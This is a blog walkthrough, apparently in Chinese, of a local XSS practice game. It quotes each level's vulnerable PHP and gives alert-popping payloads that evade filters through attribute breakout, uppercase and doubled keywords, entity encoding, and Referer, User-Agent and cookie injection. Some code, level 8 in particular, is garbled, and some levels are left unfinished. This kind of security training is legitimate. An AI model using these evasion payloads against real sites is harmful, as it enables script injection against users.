XSS-的通关小游戏实战讲解,xss练习源码

level 1

一开始界面上什么都没有,一般是从url上想办法
顺便查一下php代码,
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
<script>

这里提示你要让网页弹窗即可
那么直接用在url后面的参数上想办法
·http://localhost/xss/level1.php?name=test·
直接把test改成 这样的弹窗脚本即可

level 2

在2中,输入了一传正常的js,,发现可以出现相关代码,但是可以看出来,预定义的字符代码已经被转译成了HTML实体了。
果然 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>

从这里可以看出来,预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,可是下面的并没有转换,因此,可以从下面的输入框里里面入手,构造闭合语句。
<input name=keyword value="'.$str.'">
使用payload:”οnclick=”window.alert()
形成<input name=keyword value=" "onclick="window.alert()">
输入后成功弹窗

level 3

这里按着上面的也来一下,发现不行
第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以
那么就用单引号来测试
payload :'onclick='window.alert()
构造闭合语句:<input name=keyword value='".htmlspecialchars('onclick='window.alert())."'>

level 4

这一关,查看源代码发现,多了几个str
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

这里仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外围的引号变成了双引号,可以用第三关的payload稍作修改。
payload:·"onclick="window.alert()
构造成:<input name=keyword value="onclick="window.alert()>

level 5

这题输入了上文的代码,会发现变了
'onclick='window.alert()<——变成—–>'o_nclick='window.alert()
在on中加上了下划线。
那么应该怎么做 查看代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

发现它把script 和 on 中加入了下划线。
那么鼠标事件,就不能用了。
可以考虑下用链接(href),即在链接中调用js
payload: “>点我就xss
构造:
点我就xss
如此一来,创建了一个”点我就xss”的可点击链接的文本,点击,产生xss

level 6

同样的,输入和onclick 都会被加上下划线
同时,href也是
查看源代码$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

还有scr,data,等也是。
然鹅,少了一个函数strtolower(),把所有字符转换为小写。
所以,我们可以用大写!
payload "><A HREF="javascript:alert()">test</a>

level 7

很遗憾啊,第七关的已经加上了strtolower,已经不能用大写绕过了
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

而且将这几个能用的都转换成空,那么应该怎么办?
要注意
他只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过。
payload :"><scrscriptipt>alert()</scrscriptipt>
on src data href 等也是一样的,大家可以自己尝试哦

level 8

这一题有难了
str=strtolower( s t r = s t r t o l o w e r ( _GET[“keyword”]);
str2=strreplace("script","script", s t r 2 = s t r r e p l a c e ( " s c r i p t " , " s c r i p t " , str);
str3=strreplace("on","on", s t r 3 = s t r r e p l a c e ( " o n " , " o n " , str2);
str4=strreplace("src","src", s t r 4 = s t r r e p l a c e ( " s r c " , " s r c " , str3);
str5=strreplace("data","data", s t r 5 = s t r r e p l a c e ( " d a t a " , " d a t a " , str4);
str6=strreplace("href","href", s t r 6 = s t r r e p l a c e ( " h r e f " , " h r e f " , str5);
str7=str_replace('"','&quot', str7=str_replace('"','&quot', str6);


?>

level 9

这题跟上题目差不多,就是在友情链接上多了一点判断
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

若检测不到http则报错
payload javascri&#x0070;t:alert(1)/*http://www.baidu.com*/
只要让它检测到http,却不能起到作用就可以了,所以可以用注释。
在上题的payload下,后面加上注释,在注释里面填写http相关即可

level 10

这道题很迷,仔细看下代码就知道,它要get两个参数keyword和t_sort
str= s t r = _GET[“keyword”];
str11= s t r 11 = _GET[“t_sort”];
而且 keyword参数并没有什么用,t_sort可以进行渗透
那么在$str33这里进行构造语句
<>被转换成空,那么

level 11

这道题参考一下代码可以发现, str11= s t r 11 = _SERVER[‘HTTP_REFERER’];这里接受了来自上一题的referer,所以,我们可以在第十题转到的第十一题的时候,抓包修改referer,来构造绕过语句。
在出现了 “完成得不错”后,先用burp抓住,然后在头文件内修改referer
payloadt_sort="type="text" onclick="alert(1)

level 12

这题跟上面的一样,只不过是“ str11= s t r 11 = _SERVER[‘HTTP_USER_AGENT’];”
这次是在user-agent里面修改
payload111"type="text" onclick="alert(1)
后点击页面,通过

level 13

这题看代码setcookie("user", "call me maybe?", time()+3600);可以知道这是cookie绕过了
其他的内容都差不多,抓包修改cookies
payload :cookie:user="type="text" onclick="alert(1)"

level 14

这关成功后不会自动跳转。

level 15

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'

AngularJS ng-include指令
ng-include 指令用于包含外部的 HTML 文件。
此题用的是文件包含,那么我们可以让它调用一个evil code执行弹窗啊
payload :src=level1.php?name=1'window.alert()

level 16

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);

这题把script 、/ 、空格 都转译了,跟前面有一题一样,可以考虑编码和不用script啊
keyword=test,显示在页面中。
使用

level 17

<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."
标签定义嵌入的内容,比如插件
通过htmlspecialchars 转译了预定义字符
onclick是在鼠标点击弹起之后触发的事件。onmousedown是在鼠标按下之后触发的事件
这里我用onclick不行,onmousedown可以。。
payload arg01=a&arg02=b%20onclick=alert()

level 18

这题跟上面的差不多
却在arg02不可以。。。。迷
谁知道原因的。。能告诉我嘛
在arg01处进行payload
http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b

level 19

level 20

是不是很迷?
我是新手
19,20,太深了,不会
练习源码网上也有的,还有人开了网站可以练手

注意,在简单的做了一遍题目之后,一定要靠自己,重新做几遍!!!,找到实战中的感觉

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值